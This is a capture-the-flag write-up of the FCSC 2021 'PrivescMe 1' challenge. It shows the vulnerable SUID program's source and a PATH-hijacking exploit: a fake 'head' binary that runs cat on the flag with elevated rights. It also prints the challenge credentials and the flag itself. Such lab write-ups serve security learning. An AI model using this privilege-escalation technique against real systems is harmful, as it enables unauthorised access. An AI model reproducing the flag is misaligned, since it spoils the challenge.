FCSC 2021 – PrivescMe 1 – Warmup

This was my first pwn ever made so I was pretty happy when I got the flag.

We could access to the challenge with the following info :

ssh -p7005 challenger@challenges1.france-cybersecurity-challenge.fr
password : challenger
folder : stage 0
tmp folder writeable screenshot
As usual, the /tmp folder is writeable

SUID binary

By doing ‘ls’, we find the following files :

Result of ls command

Executing cat on stage0.c file permits us to get the source code which I commented :

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char const *argv[]) {
    setresgid(getegid(), getegid(), getegid()); // Setting owner's permissions
    system("head -c5 flag.txt"); // Using head via system (here's the failure)
    return 0;
}

Let’s have a deeper look at files and user’s permissions :

screenshot showing us the SUID Binary + other interesting files

We can see that the owner of stage0 binary is also the owner of the flag and the SUID permissions are set, thus allowing us to abuse stage0 to read flag.txt.

Executing the binary

Let’s execute the binary once to see its behavior.

Result of unmodified SUID binary execution
Pretty frustrating…

Exploiting stage0

As we can see in the source code the head binary isn’t reached by an absolute path but by a relative one. So if we can modify it to get our own head binary executed by stage0, we should be able to read the flag.

First, let’s add our tmp subfolder at the very beginning of the $PATH variable. Using this, if a head binary is found in it, it will be executed and /bin/head will be ignored.

mkdir /tmp/unguest
export PATH=/tmp/unguest:$PATH

Then let’s write this little piece of code that I’ve documented :

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char *argv[]){
        char payload[512]; // To store our payload
        char* cat = "cat "; // We want to print the whole file
        strcat(payload, cat); // We add the cat command to our payload
        strcat(payload, argv[2]); // Then adding the 2nd argument of the original head command executed by stage0. Skips the -c5.
        payload[0] = ' '; // For some reasons a sh**ty character was present at the beginning of the string so just removing it here.
        printf("[~] Payload : %s", payload); // Print our payload for debug purposes.
        system(payload); // Our payload is executed with SUID rights by stage0
        return 0;
}

Which gives us at the execution :

The damn god wanted flag iz here !

Flag : FCSC{e5dc17021365baa6719ea48311873d621a3e00fa6f9c41bd2efb4e6c48bf4090}

Hope this write up was at least a bit helpful ; eager to see other’s WU on this one 🙂 .

Leave a Comment

Your email address will not be published. Required fields are marked *